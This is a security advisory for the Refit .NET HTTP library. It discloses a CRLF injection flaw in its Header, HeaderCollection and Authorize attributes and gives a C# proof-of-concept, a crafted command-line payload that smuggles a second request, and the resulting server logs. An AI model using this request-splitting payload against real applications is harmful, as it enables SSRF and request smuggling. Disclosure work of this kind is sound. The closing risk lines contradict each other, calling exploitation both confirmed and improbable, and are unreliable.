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GHSA-3hxg-fxwm-8gf7
No affected components available
Summary
The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.
This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:
using Refit;
internal class Program
{
private static void Main(string[] args)
{
// Usage: dotnet run <bearer token>
string token = args[0];
var service = RestService.For<IStatusApi>("http://insert.some.site.here");
string response = service.GetStatus(token).Result;
Console.WriteLine($"Response: {response}");
}
public interface IStatusApi
{
[Get("/status")]
Task<string> GetStatus([Authorize("Bearer")] string token);
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"
Impact
If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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